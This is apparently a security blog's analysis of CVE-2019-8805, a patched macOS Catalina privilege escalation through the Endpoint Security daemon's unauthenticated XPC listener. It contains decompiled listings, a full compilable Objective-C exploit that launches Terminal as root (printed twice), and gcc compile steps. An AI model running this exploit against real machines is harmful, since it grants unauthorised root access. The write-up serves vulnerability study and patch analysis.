CVE-2019-8805 is a privilege escalation vulnerability found in macOS Catalina 10.15 by Scott Knight. This vulnerability occurs through the Endpoint Security framework introduced in Catalina 10.15. The issue arises due to validation problems in the entitlement verification for connected clients. By exploiting this vulnerability, any application can execute arbitrary code with system privileges.
What is the Endpoint Security Framework?
Apple’s Endpoint Security (ES) framework, introduced with macOS Catalina 10.15, is a powerful API designed to monitor and respond to system events that might indicate malicious activity. This framework enhances macOS security by allowing applications deeper visibility into system events without requiring kernel access, thus maintaining system stability and security.
What is XPC?
XPC is a communication mechanism in macOS and iOS that allows different processes to communicate with each other. It separates tasks into different processes, enhancing security and stability by isolating potentially risky operations.
Key Components of XPC
XPC Services: These services run in separate processes and perform specific tasks. They can be provided by both Apple and third-party developers.
Mach Services: XPC services register Mach services to facilitate communication via Mach messages.
Clients: Applications or processes that request services from XPC services.
Entitlements: Special permissions required by applications to access certain XPC services.
How XPC Works
Service Registration: XPC services register themselves with the operating system, making them available to clients.
Client Requests: Clients send requests to the XPC service for specific tasks or information.
Message Passing: Communication is carried out through messages passed between the client and the service via Mach ports.
Response Handling: The XPC service processes the request and sends back a response to the client.
Environment Setup
For this analysis, we will need macOS Catalina 10.15. Since not everyone might have access to it, you can use the vulnerable files provided here and load them into Hopper Disassembler to analyze the vulnerability. If you wish to attempt the exploitation, you can download and install Catalina 10.15 as a VM from here.
The Analysis
Scott Knight’s blog post discusses the vulnerability, which he mentioned lies in endpointsecurityd. If we navigate to /System/Library/LaunchDaemons, we can find all the system LaunchDaemons, which run as root.
Inside com.apple.endpointsecurity.endpointsecurityd.plist, we can see the following:
The program to launch is /usr/libexec/endpointsecurityd, and it has the following Mach services: com.apple.endpointsecurity.endpointsecurityd.xpc, com.apple.endpointsecurity.endpointsecurityd.mig, and com.apple.endpointsecurity.system-extensions.
The vulnerability lies within the [ESD Init] function, where it starts listening for XPC requests and does not implement any verification on clients that are requesting or connecting.
Reverse Engineering endpointsecurityd
When we load endpointsecurityd into Hopper, we can search for the init function as follows:
When we navigate to the init function, we see that it calls the init method from the superclass of the current class. It then saves the result in rax and checks if rax is not 0x0, indicating that it did not fail. If successful, it creates an instance of OSSystemExtensionPointListener.
Scott Knight’s blog post on system extension internals explains OSSystemExtensionPointListener as follows:
We now know it’s used to create an XPC service to listen for system extension events.
Continuing with the init function analysis:
After creating the OSSystemExtensionPointListener instance, it initiates the service’s name with initWithMachServiceName:@”com.apple.endpointsecurity-system-extensions”. When we try to navigate to OSSystemExtensionPointListener, it doesn’t lead anywhere because there is no reference to it in endpointsecurityd. OSSystemExtensionPointListener is located in SystemExtensions under /System/Library/Frameworks/SystemExtensions.framework/Versions/Current/SystemExtensionsLet’s load it into Hopper.
Reverse Engineering SystemExtensions
When we load SystemExtensions and search for shouldAcceptConnection:
We can see the function, which is part of OSSystemExtensionPointListener. This function is used to implement security and validation checks on incoming connections, essentially determining whether an incoming connection request should be accepted or not.
Let’s examine shouldAcceptConnection:
First, it assigns arg3, which is the connection, to r14. Then it uses setCurrentConnection to set the connection to r14. Moving further down, we can see the XPC interface that has the methods initialized with _OSSystemExtensionPointerInterface using interfaceWithProtocol. After that, it exports the interface and resumes the new connection. Finally, it returns 0x1, indicating a successful connection that will be accepted. Due to the lack of validation checks on incoming connections, anyone can send an XPC connection and request the methods within _OSSystemExtensionPointerInterface.
Let’s use class-dump to locate _OSSystemExtensionPointerInterface and take a look at the available methods:
We can see all the methods, but the most interesting one, and the one used in the exploit published by Scott Knight, is startExtension:
– (void)startExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
We can see it takes the first argument, arg1, which is a pointer to an OSSystemExtensionInfo object.
If we search for OSSystemExtensionInfo as seen from the class-dump output above, we can examine its interface and the expected data it requires. It conforms to the OSSystemExtensionPolicyItem protocol. Let’s search for this protocol in the output:
We can see the above properties which define an object’s data.
Now, Let’s search for startExtension:
Let’s navigate to it:
The startExtension method takes two arguments: the first is the OSSystemExtensionInfo object, and the second is the replyHandler.
The method proceeds as follows:
1. Assigning Arguments: arg3 is assigned to rcx, and then an instance of the class is created and assigned to r14. arg2 is assigned to var_30.
2. Selector Check: When we reach the line:
r12 = [rax respondsToSelector:@selector(listener:startExtension: replyHandler:), rcx, r8];
it uses respondsToSelector to determine whether the object can respond to the method listener:startExtension:replyHandler:. The result is saved into r12. Selectors and the respondsToSelector: method are fundamental concepts in Objective-C, used for dynamic method resolution and runtime introspection.
Based on this, we can infer that startExtension is not implemented within this instance.
3. Method Invocation: Moving on to the next lines, it checks if r12 is not 0x0, indicating success. Then: [rax listener: r14 startExtension:var_30 replyHandler:r15];,
it clearly calls startExtension on the rax instance, which is a class instance, passing arg2 (stored in var_30) to it.
Back To endpointsecurityd
When we get back to endpointsecurityd, we can see startExtension:
Let’s navigate to it:
Here, it assigns arg3 (which is the OSSystemExtensionInfo object) to rcx. Then it places rcx into r13. At the end of the screenshot, we can see that it checks if r13 is equal to:
0x0(which is null). If tho, It will call loc_100005013.
As we move to loc_100005013, it indicates a failure to get the OSSystemExtensionInfo object. This means that at the start, it ensures that the OSSystemExtensionInfo object exists.
After the initial checks, the method continues as follows:
1. Existence Check: It checks if /Library/SystemExtensions/EndpointSecurity exists.
2. Proceed to loc_100005077: If the directory exists, it reaches loc_100005077.
3. Assigning OSSystemExtensionInfo: It assigns the OSSystemExtensionInfo object to rdx.
4. Passing to safeSubmitJob: The OSSystemExtensionInfo object is then passed to the safeSubmitJob function.
Let’s examine the safeSubmitJob function next.
Analysis of safeSubmitJob Function
As we see when we go to safeSubmitJob, it initializes a block structure as follows:
var_48 = &var_48;
*(var_48 + 0x0) = 0x0220000000;
*((int32_t *)(var_48 + 0x10)) = 0xffffffff;
……
*(&var_80 + 0x0) = *__NSConcreteStackBlock;
*(&var_80 + 0x8) = 0xfffffff200000000;
*(&var_80 + 0x10) = sub_1000046cb;
*(&var_80 + 0x18) = 0x01000001e8;
*(&var_80 + 0x20) = rax;
*(&var_80 + 0x28) = self;
*(&var_80 + 0x30) = &var_48;
In this structure, *(&var_80 + 0x10) = sub_1000046cb sets the block’s invoke function. The block captures *(&var_80 + 0x20) = rax, which contains our OSSystemExtensionInfo object in arg2. Let’s navigate to sub_1000046cb.
Analysis of sub_1000046cb
Here, sub_1000046cb takes 6 arguments. We assign them as follows:
r9 = arg5;
r8 = arg4;
rcx = arg3;
r15 = arg0;
After that, it checks if *(r15+0x20) is null. If it is not null, it completes with the following actions:
- It performs some file operations to check if certain files exist.
- When it reaches loc_100004826, it passes *(r15+0x20) to smJobDictionary.
Let’s move on to smJobDictionary.
Analysis of smJobDictionary
It starts by assigning the following:
rdx = arg2;
r15 = self;
rax = [rdx retain];
r14 = rax;
So, the argument passed is in rdx, rax, and r14. Then, in loc_100003e97, it obtains the value of stagedBundleURL from r14 and stores it in rax. As we remember, stagedBundleURL is one of the data fields from OSSystemExtensionInfoInterface. Here, we can confirm that the argument passed to smJobDictionary is still our OSSystemExtensionInfo.
After that, it initializes the bundle using NSBundle with the URL by assigning the retained stagedBundleURL to rbx and rdx and passing it. Then it does the same with executablePath and the Identifier as it does with stagedBundleURL.
loc_100003f43:
rdx = r14;
var_68 = [[r15 createLabelName:rdx] retain];
var_50 = [[NSMutableDictionary dictionary] retain];
rax = [r14 additionalLaunchdPlistEntries];
rax = [rax retain];
[rax release];
if (rax != 0x0) {
rax = [r14 additionalLaunchdPlistEntries];
rax = [rax retain];
rdx = rax;
[var_50 addEntriesFromDictionary:rdx];
[rax release];
}
rax = [r14 identifier];
rax = [rax retain];
var_60 = rax;
var_38 = rax;
rcx = 0x1;
rax = [NSArray arrayWithObjects:&var_38 count:rcx];
r13 = [rax retain];
r12 = [var_50 retain];
r13 = [r13 retain];
rax = [r12 objectForKeyedSubscript:@"ProgramArguments"];
rax = [rax retain];
[rax release];
if (rax == 0x0) {
rcx = @"ProgramArguments";
[r12 setObject:r13 forKeyedSubscript:rcx];
}
rbx = *_objc_release;
[r13 release];
[r12 release];
[r13 release];
[var_60 release];
rdi = r12;
r12 = rbx;
r15 = [rdi retain];
r13 = [var_58 retain];
rdx = @"Program";
rsi = @selector(objectForKeyedSubscript:);
rax = (*_objc_msgSend)(r15, rsi);
rax = [rax retain];
[rax release];
if (rax == 0x0) {
rsi = @selector(setObject:forKeyedSubscript:);
rcx = @"Program";
rdx = r13;
(*_objc_msgSend)(r15, rsi);
}
var_58 = r13;
(r12)(r13, rsi, rdx, rcx);
(r12)(r15, rsi, rdx, rcx);
r13 = [r15 retain];
r15 = [var_68 retain];
rdx = @"Label";
rsi = @selector(objectForKeyedSubscript:);
(r12)([(*_objc_msgSend)(r13, rsi) retain], rsi, rdx, rcx);
if (rax == 0x0) {
rsi = @selector(setObject:forKeyedSubscript:);
rcx = @"Label";
rdx = r15;
(*_objc_msgSend)(r13, rsi);
}
(r12)(r15, rsi, rdx, rcx);
(r12)(r13, rsi, rdx, rcx);
var_50 = r15;
rax = [r15 stringByAppendingString:@".xpc"];
rax = [rax retain];
var_68 = rax;
var_48 = rax;
rax = @(YES);
rax = [rax retain];
var_60 = rax;
var_40 = rax;
rcx = &var_48;
r12 = [[NSDictionary dictionaryWithObjects:0x1 forKeys:rcx count:0x1] retain];
r15 = [r13 retain];
r13 = [r12 retain];
rdx = @"MachServices";
rsi = @selector(objectForKeyedSubscript:);
rax = (*_objc_msgSend)(r15, rsi);
rax = [rax retain];
[rax release];
if (rax == 0x0) {
rsi = @selector(setObject:forKeyedSubscript:);
rcx = @"MachServices";
rdx = r13;
(*_objc_msgSend)(r15, rsi);
}
[r13 release];
[r15 release];
[r13 release];
[var_60 release];
[var_68 release];
rax = [r15 retain];
r15 = rax;
rdx = @"ProcessType";
rsi = @selector(objectForKeyedSubscript:);
rax = (*_objc_msgSend)(rax, rsi);
rax = [rax retain];
[rax release];
if (rax == 0x0) {
rsi = @selector(setObject:forKeyedSubscript:);
rdx = @"Interactive";
rcx = @"ProcessType";
(*_objc_msgSend)(r15, rsi);
}
[r15 release];
r12 = [@(NO) retain];
r15 = [r15 retain];
r12 = [r12 retain];
rax = [r15 objectForKeyedSubscript:@"EnablePressuredExit"];
rax = [rax retain];
[rax release];
if (rax == 0x0) {
[r15 setObject:r12 forKeyedSubscript:@"EnablePressuredExit"];
}
[r12 release];
[r15 release];
[r12 release];
rbx = [@(YES) retain];
r15 = [r15 retain];
r12 = [rbx retain];
rax = [r15 objectForKeyedSubscript:@"RunAtLoad"];
rax = [rax retain];
[rax release];
if (rax == 0x0) {
[r15 setObject:r12 forKeyedSubscript:@"RunAtLoad"];
}
[r12 release];
[r15 release];
[r12 release];
rbx = [@(YES) retain];
r13 = [r15 retain];
r12 = [rbx retain];
rax = [r13 objectForKeyedSubscript:@"KeepAlive"];
rax = [rax retain];
[rax release];
if (rax == 0x0) {
[r13 setObject:r12 forKeyedSubscript:@"KeepAlive"];
}
[r12 release];
[r13 release];
[r12 release];
rax = @(YES);
rax = [rax retain];
[r13 setObject:rax forKeyedSubscript:@"_Protected"];
[rax release];
[var_50 release];
[var_58 release];
[var_78 release];
[var_70 release];
goto loc_100004544;
This code block might look complicated, but essentially, it constructs a dictionary representing a launchd job. Here is a summary of what happens:
1. Create Label Name: It creates a label name for the job and initializes a mutable dictionary.
2. Add Additional Plist Entries: It retrieves and adds any additional launchd plist entries provided by the job object.
3. Set Program Arguments: It sets up program arguments by adding the identifier to the dictionary if it is not already present.
4. Configure Executable Path: It configures the executable path, label, and Mach services.
5. Add XPC Service Name: It adds an XPC service name to the MachServices key.
6. Set Properties: It creates various properties like Program, Label, ProcessType, EnablePressuredExit, RunAtLoad (to execute the job immediately upon loading), and KeepAlive.
7. Finalize: The method releases all retained objects and prepares the dictionary for use, which is configured for launchd.
Here at the end, it handles errors if some data in the OSSystemExtensionInfo is not provided. Therefore, we can conclude that the smJobDictionary method creates a detailed dictionary required for configuring a launchd job.
submitLaunchedJob
When we go back to sub_1000046cb, we notice the following loc_100004850:
After smJobDictionary, the code proceeds to loc_100004850:
rdx = *(r15 + 0x20);
var_30 = rax;
r14 = *(r15 + 0x28);
r13 = *_objc_msgSend;
Here, rdx is assigned the value of *(r15 + 0x20), which contains job information. The result stored in rax is assigned to var_30. Then, r14 is assigned the value of *(r15 + 0x28). Finally, r13 is assigned the address of the _objc_msgSend function.
rax = [r14 createLabelName:rdx];
rax = [rax retain];
The code creates a label name for the job by calling the createLabelName: method on r14 with rdx as the argument. The created label name is retained and stored in rax.
rdi = r14;
r14 = var_30;
[rdi removeLaunchdJob:rax];
r12 = r13;
[rax release];
Next, rdi is assigned the value of r14, and r14 is updated with the value of var_30. The removeLaunchdJob: method is then called on rdi (originally r14) with the label name rax to remove any existing job with this label.
rdx = r14;
if ([*(r15 + 0x28) submitLaunchdJob:rdx] == 0x0) goto loc_100004988;
Finally, rdx is assigned the value of r14, and the submitLaunchdJob: method is called with *(r15 + 0x28), which is within the OSSystemExtensionInfo object.
Here the submitLaunchdJob takes arg2 and down on r14 = SMJobSubmit(**_kSMDomainSystemLaunchd, arg2, 0x0, rcx); it calls SMJobSubmit. If we search for it, we can find it in the documentation:
We can see the following argument it takes:
We can see that our arg2, which is the dictionary created with smJobDictionary using our OSSystemExtensionInfo object, is being used. This confirms that the dictionary is properly created and utilized.
Exploitation
You can find the exploit on Scott Knight’s GitHub as well as on SecureLayer7’s GitHub.
To summarize the process and understand how we can exploit this vulnerability:
The process starts with the startExtension:replyHandler: method, which handles a request to start a system extension. It first checks if the listener:startExtension:replyHandler: selector is implemented to ensure that the handler can process the request. If the selector is implemented, it proceeds to call listener:startExtension:replyHandler: on the listener instance, passing the extension information and the reply handler.
Next, the validity of the OSSystemExtensionInfo object is verified. If it is valid, the process proceeds to safeSubmitJob, where a block structure is initialized to capture necessary context and variables, including the OSSystemExtensionInfo object. This block is set to invoke sub_1000046cb.
Within sub_1000046cb, the method first checks for the existence of specific files and retrieves their attributes. If the conditions are met, it calls smJobDictionary with the OSSystemExtensionInfo object to create a detailed dictionary representing the launchd job configuration. The smJobDictionary method constructs a comprehensive dictionary by setting up various properties such as ProgramArguments, Program, Label, MachServices, ProcessType, EnablePressuredExit, RunAtLoad, and KeepAlive. This dictionary includes all the necessary key-value pairs required for configuring the launchd job.
Finally, back in sub_1000046cb, after creating the job dictionary, it moves to the submitLaunchdJob: method. This method uses SMJobSubmit to submit the job to the system’s launchd domain. If the submission fails, it logs the error and releases any retained error information. The method returns the result of the job submission, indicating success or failure.
Exploit Outline
To exploit this, follow these steps:
1. Setup OSSystemExtensionInfo Object: Configure the OSSystemExtensionInfo object with the required properties to run a terminal.
2. Setup XPC Connection: Connect to the com.apple.endpointsecurity.system-extensions Mach service.
3. Call startExtension:: Use the startExtension: method with the OSSystemExtensionInfo object to launch a new terminal as root.
Code Example
Here’s the full exploit code:
#import <Foundation/Foundation.h>
#include <dlfcn.h>
@protocol OSSystemExtensionPolicyItem
@property(readonly) BOOL modified;
@property BOOL enabled;
@property(readonly) BOOL rebootRequired;
@property(readonly) NSURL *containingAppURL;
@property(readonly) NSURL *stagedBundleURL;
@property(readonly) NSString *bundleVersion;
@property(readonly) NSString *shortVersionString;
@property(readonly) BOOL teamIDNone;
@property(readonly) BOOL teamIDPlatformBinary;
@property(readonly) NSString *teamID;
@property(readonly) NSString *usageDescription;
@property(readonly) NSString *developerName;
@property(readonly) NSString *applicationName;
@property(readonly) NSString *extensionDisplayName;
@property(readonly) NSString *identifier;
@end
@interface OSSystemExtensionInfo : NSObject <NSSecureCoding, OSSystemExtensionPolicyItem>
{
BOOL _enabled;
NSDictionary *_localizedInfo;
NSDictionary *_unlocalizedInfo;
BOOL _teamIDPlatformBinary;
BOOL _teamIDNone;
BOOL _active;
BOOL _rebootRequired;
BOOL _modified;
NSString *_identifier;
NSString *_developerName;
NSArray *_categoryIdentifiers;
NSString *_owningCategoryIdentifier;
NSString *_teamID;
NSString *_shortVersionString;
NSString *_bundleVersion;
NSURL *_containingAppURL;
NSURL *_stagedBundleURL;
NSString *_stagedCdhash;
NSString *_stateString;
NSDictionary *_additionalLaunchdPlistEntries;
}
+ (BOOL)supportsSecureCoding;
@property BOOL modified;
@property BOOL rebootRequired;
@property(retain) NSDictionary *additionalLaunchdPlistEntries;
@property(retain) NSString *stateString;
@property BOOL active;
@property(retain) NSString *stagedCdhash;
@property(retain) NSURL *stagedBundleURL;
@property(retain) NSURL *containingAppURL;
@property(retain) NSString *bundleVersion;
@property(retain) NSString *shortVersionString;
@property BOOL teamIDNone;
@property BOOL teamIDPlatformBinary;
@property(retain) NSString *teamID;
@property(retain) NSString *owningCategoryIdentifier;
@property(retain) NSArray *categoryIdentifiers;
@property(retain) NSString *developerName;
@property(retain) NSString *identifier;
@property(readonly) NSString *usageDescription;
@property(readonly) NSString *extensionDisplayName;
- (id)getLocalizedStringForKey:(id)arg1;
@property(readonly) NSString *applicationName;
@property BOOL enabled;
- (void)encodeWithCoder:(id)arg1;
- (id)initWithCoder:(id)arg1;
- (id)initWithXPCDictionary:(id)arg1;
@end
@protocol _OSSystemExtensionPointInterface <NSObject>
- (void)terminateExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)startExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willReplaceExtension:(OSSystemExtensionInfo *)arg1 withExtension:(OSSystemExtensionInfo *)arg2 replyHandler:(void (^)(NSError *))arg3;
- (void)willUninstallExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willTerminateExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willStartExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)validateExtension:(OSSystemExtensionInfo *)arg1 atTemporaryBundleURL:(NSURL *)arg2 replyHandler:(void (^)(NSDictionary *, NSError *))arg3;
@end
#define machServiceName @"com.apple.endpointsecurity.system-extensions"
void *systemExt;
int main(void){
NSLog(@"[!] Attempting to load SystemExtensions for OSSystemExtensionInfoClass");
systemExt = dlopen("/System/Library/Frameworks/SystemExtensions.framework/Versions/Current/SystemExtensions", RTLD_LAZY);
if(systemExt == NULL)
{
NSLog(@"[-] Failed to: Load SystemExtensions framework");
exit(-1);
}
NSLog(@"[+] SystemExtensions Loaded");
Class OSSystemExtensionInfoClass = nil;
NSLog(@"[+] Obtaining OSSystemExtensionInfo");
OSSystemExtensionInfoClass = NSClassFromString(@"OSSystemExtensionInfo");
if (OSSystemExtensionInfoClass == nil)
{
NSLog(@"[-] Failed to: obtain OSSystemExtensionInfo class");
exit(-1);
}
OSSystemExtensionInfo *info = [[OSSystemExtensionInfoClass alloc] init];
info.stagedBundleURL = [NSURL fileURLWithPath:@"/System/Applications/Utilities/Terminal.app"];
NSLog(@"[+] stagedBundleURL set to /System/Applications/Utilities/Terminal.app");
info.identifier = @"com.apple.Terminal";
NSLog(@"[+] identifier set to com.apple.Terminal");
NSLog(@"[+] Setting Up XPC for %@", machServiceName);
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:machServiceName options:0x1000];
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(_OSSystemExtensionPointInterface)];
[connection setRemoteObjectInterface:interface];
[connection resume()];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error){
NSLog(@"[-] Error: %@", error);
exit(-1);
}];
NSLog(@"[+] Object: %@", obj);
NSLog(@"[+] Connection: %@", connection);
[obj startExtension:info replyHandler:^void(NSError *error){
if(error != nil){
NSLog(@"[-] Calling StartExtension failed: %@", error);
exit(-1);
}
}];
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"[+] Executed startExtension to start Terminal");
}
Compilation
To compile the exploit, use:
gcc -framework foundation appleESDPrivesc.m -o appleESDPrivesc
This will generate an executable that you can run to attempt the privilege escalation.
Patch
You can find the patch diff from here.
System Extensions Post-Patching Analysis
After applying the patch, when the SystemExtensions is opened, it checks the entitlement of the connected client before accepting the connection:
r15 = rax;
rax = [rax valueForEntitlement:@"com.apple.private.security.storage.SystemExtensionManagement"];
rax = [rax retain];
var_40 = rax;
if (*(int8_t *)__systemextensions_framework_testing_active != 0x0) {
If the client lacks the required entitlement, the connection is refused:
else {
rbx = rax;
if (rax != 0x0 && [rbx isKindOfClass:[NSNumber class]] != 0x0) {
if ([rbx boolValue] == 0x0) {
r14 = 0x0;
NSLog(@"XPC denied because caller lacks entitlement");
[r15 invalidate];
}
}
}
Conclusion
During this analysis, we thoroughly examined the CVE-2019-8805 vulnerability in macOS Catalina 10.15, discovered by Scott Knight. This vulnerability allows for privilege escalation through the endpoint security framework due to improper validation of client entitlements.
Our investigation involved reverse engineering the endpointsecurityd and the SystemExtensions framework using Hopper. We identified the core issue in the shouldAcceptConnection method within the OSSystemExtensionPointListener class, which initially did not implement any verification on the client.
By following the steps of our analysis and exploiting this vulnerability, we successfully escalated our privileges to root. Here is a step-by-step outline of the process:
Setup OSSystemExtensionInfo Object: Configure the OSSystemExtensionInfo object with the required properties to run a terminal.
Setup XPC Connection: Connect to the com.apple.endpointsecurity.system-extensions Mach service.
Call startExtension:: Use the startExtension: method with the OSSystemExtensionInfo object to launch a new terminal as root.
Code Example
Here’s the full exploit code:
#import <Foundation/Foundation.h>
#include <dlfcn.h>
@protocol OSSystemExtensionPolicyItem
@property(readonly) BOOL modified;
@property BOOL enabled;
@property(readonly) BOOL rebootRequired;
@property(readonly) NSURL *containingAppURL;
@property(readonly) NSURL *stagedBundleURL;
@property(readonly) NSString *bundleVersion;
@property(readonly) NSString *shortVersionString;
@property(readonly) BOOL teamIDNone;
@property(readonly) BOOL teamIDPlatformBinary;
@property(readonly) NSString *teamID;
@property(readonly) NSString *usageDescription;
@property(readonly) NSString *developerName;
@property(readonly) NSString *applicationName;
@property(readonly) NSString *extensionDisplayName;
@property(readonly) NSString *identifier;
@end
@interface OSSystemExtensionInfo : NSObject <NSSecureCoding, OSSystemExtensionPolicyItem>
{
BOOL _enabled;
NSDictionary *_localizedInfo;
NSDictionary *_unlocalizedInfo;
BOOL _teamIDPlatformBinary;
BOOL _teamIDNone;
BOOL _active;
BOOL _rebootRequired;
BOOL _modified;
NSString *_identifier;
NSString *_developerName;
NSArray *_categoryIdentifiers;
NSString *_owningCategoryIdentifier;
NSString *_teamID;
NSString *_shortVersionString;
NSString *_bundleVersion;
NSURL *_containingAppURL;
NSURL *_stagedBundleURL;
NSString *_stagedCdhash;
NSString *_stateString;
NSDictionary *_additionalLaunchdPlistEntries;
}
+ (BOOL)supportsSecureCoding;
@property BOOL modified;
@property BOOL rebootRequired;
@property(retain) NSDictionary *additionalLaunchdPlistEntries;
@property(retain) NSString *stateString;
@property BOOL active;
@property(retain) NSString *stagedCdhash;
@property(retain) NSURL *stagedBundleURL;
@property(retain) NSURL *containingAppURL;
@property(retain) NSString *bundleVersion;
@property(retain) NSString *shortVersionString;
@property BOOL teamIDNone;
@property BOOL teamIDPlatformBinary;
@property(retain) NSString *teamID;
@property(retain) NSString *owningCategoryIdentifier;
@property(retain) NSArray *categoryIdentifiers;
@property(retain) NSString *developerName;
@property(retain) NSString *identifier;
@property(readonly) NSString *usageDescription;
@property(readonly) NSString *extensionDisplayName;
- (id)getLocalizedStringForKey:(id)arg1;
@property(readonly) NSString *applicationName;
@property BOOL enabled;
- (void)encodeWithCoder:(id)arg1;
- (id)initWithCoder:(id)arg1;
- (id)initWithXPCDictionary:(id)arg1;
@end
@protocol _OSSystemExtensionPointInterface <NSObject>
- (void)terminateExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)startExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willReplaceExtension:(OSSystemExtensionInfo *)arg1 withExtension:(OSSystemExtensionInfo *)arg2 replyHandler:(void (^)(NSError *))arg3;
- (void)willUninstallExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willTerminateExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willStartExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)validateExtension:(OSSystemExtensionInfo *)arg1 atTemporaryBundleURL:(NSURL *)arg2 replyHandler:(void (^)(NSDictionary *, NSError *))arg3;
@end
#define machServiceName @"com.apple.endpointsecurity.system-extensions"
void *systemExt;
int main(void){
NSLog(@"[!] Attempting to load SystemExtensions for OSSystemExtensionInfoClass");
systemExt = dlopen("/System/Library/Frameworks/SystemExtensions.framework/Versions/Current/SystemExtensions", RTLD_LAZY);
if(systemExt == NULL)
{
NSLog(@"[-] Failed to: Load SystemExtensions framework");
exit(-1);
}
NSLog(@"[+] SystemExtensions Loaded");
Class OSSystemExtensionInfoClass = nil;
NSLog(@"[+] Obtaining OSSystemExtensionInfo");
OSSystemExtensionInfoClass = NSClassFromString(@"OSSystemExtensionInfo");
if (OSSystemExtensionInfoClass == nil)
{
NSLog(@"[-] Failed to: obtain OSSystemExtensionInfo class");
exit(-1);
}
OSSystemExtensionInfo *info = [[OSSystemExtensionInfoClass alloc] init];
info.stagedBundleURL = [NSURL fileURLWithPath:@"/System/Applications/Utilities/Terminal.app"];
NSLog(@"[+] stagedBundleURL set to /System/Applications/Utilities/Terminal.app");
info.identifier = @"com.apple.Terminal";
NSLog(@"[+] identifier set to com.apple.Terminal");
NSLog(@"[+] Setting Up XPC for %@", machServiceName);
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:machServiceName options:0x1000];
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(_OSSystemExtensionPointInterface)];
[connection setRemoteObjectInterface:interface];
[connection resume()];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error){
NSLog(@"[-] Error: %@", error);
exit(-1);
}];
NSLog(@"[+] Object: %@", obj);
NSLog(@"[+] Connection: %@", connection);
[obj startExtension:info replyHandler:^void(NSError *error){
if(error != nil){
NSLog(@"[-] Calling StartExtension failed: %@", error);
exit(-1);
}
}];
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"[+] Executed startExtension to start Terminal");
}
Compilation
To compile the exploit, use:
gcc -framework foundation appleESDPrivesc.m -o appleESDPrivesc
References
- https://knight.sc/reverse engineering/2019/10/31/macos-catalina-privilege-escalation.html
- https://knight.sc/reverse engineering/2019/08/24/system-extension-internals.html
- https://www.stairways.com/blog/2012-08-06-smjobsubmit
- https://www.diffchecker.com/3HwfTA73/
- https://developer.apple.com/documentation/servicemanagement/smjobsubmit(_:_:_:_:)
- https://developer.apple.com/documentation/xpc
- https://developer.apple.com/documentation/systemextensions
- https://github.com/knightsc/CVE/tree/master/CVE-2019-8805/ESDClient
- https://github.com/securelayer7/CVE-2019-8805